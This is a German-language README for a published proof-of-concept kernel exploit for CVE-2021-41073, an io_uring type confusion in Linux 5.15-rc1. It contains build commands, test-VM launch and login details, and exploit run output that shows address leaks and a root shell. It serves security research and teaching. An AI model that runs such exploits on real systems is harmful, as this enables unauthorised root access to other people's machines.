
Lokaler Privilege-Escalation-Exploit für CVE-2021-41073, eine io_uring-Type-Confusion-Schwachstelle im Linux-Kernel, die auf Standardkonfigurationen Root-Rechte erlangt.
LPE-Exploit für die CVE-2021-41073 io_uring Type-Confusion-Schwachstelle.
Lies den Writeup Put an io_uring on it: Exploiting the Linux Kernel.
Autor: @chompie1337
Nur für Bildungs-/Forschungszwecke. Nicht für Tests oder Sicherheitsbewertungen geeignet.
Zum Bauen (erfordert liburing):
gcc -o hello hello.c -Wall -std=gnu99 `pkg-config fuse --cflags --libs`
gcc -I include/ -o exploit exploit.c bpf.c -l:liburing.a -lpthread
Ich habe eine Test-VM mit einem 5.15-rc1-Kernel zum Testen/Ausführen des Exploits bereitgestellt.
Zum Starten der VM das test_vm-Archiv extrahieren und ausführen:
qemu-system-x86_64 -m 2G -smp 2 -kernel /path/to/repo/Linux_LPE_io_uring_CVE-2021-41073/test_vm/bzImage -append "console=ttyS0 root=/dev/sda earlyprintk=serial net.ifnames=0" -drive file=/path/to/repo/Linux_LPE_io_uring_CVE-2021-41073/test_vm/stretch.img,format=raw -net user,host=10.0.2.10,hostfwd=tcp:127.0.0.1:10021-:22 -net nic,model=e1000 -nographic -pidfile vm.pid 2>&1 | tee vm.log
Per SSH als unprivilegierter Benutzer in die Box einloggen:
ssh -p 10021 hi@localhost
Passwort: lol
Zum Ausführen:
$ ./exploit
[+] set/getxattr file created
[+] bpf program loaded created
[+] FUSE maps created
[+] opened /proc/self/maps
[+] io_uring initialized
[+] spraying kmalloc-32 cache with io_buffer structs!!
[!] vuln trigger #1 for task_struct leak
[+] task_struct: ffff90740554c4c0
[!] vuln trigger #2 for KASLR leak
[!] single_next: ffffffffb2064520
[!] vuln trigger #3 for cache ptr leak
[+] fake bpf_prog: ffff9074056aacb0
[!] vuln trigger #4 to overwrite socket filter
[+] it worked! have a r00t shell :)
Manchmal sind 3-4 Versuche nötig, um die gesamte Exploit-Sequenz durchzulaufen. Starte die VM nach jedem Exploit-Versuch neu. Zukünftige Arbeiten können diesen Exploit verbessern; Techniken sind im Writeup beschrieben. Veröffentlichung des PoC ausschließlich zum Zweck des Wissensaustauschs mit anderen Forschern und denen, die etwas über fortgeschrittene Kernel-Exploitation lernen möchten.
Dieser Exploit ist ein PROOF OF CONCEPT für die im Blogbeitrag diskutierten Techniken und erreicht eine lokale Privilegieneskalation des Linux-Kernels 5.15-rc-1 mit Standardkonfigurationen. Es ist nicht meine Absicht, einen Exploit maßzuschneidern und zu weaponisieren, damit er mit jeder betroffenen Linux-Version funktioniert. Ich habe den Code bereitgestellt, um die meisten der diskutierten Techniken zu demonstrieren, und habe die Techniken erstellt und dokumentiert, die nötig sind, um verschiedene Mitigationen zu umgehen, die einige Distributionen möglicherweise aktivieren, im begleitenden Blogbeitrag.
Die Kernel-Konfigurationen, die in der bereitgestellten Test-VM verwendet werden, befinden sich im Ordner test_vm, falls du mit einem selbst gebauten Kernel arbeiten möchtest. Wenn du beitragen möchtest, sind Pull-Requests willkommen :)
Diese Forschung wurde von Grapl gesponsert.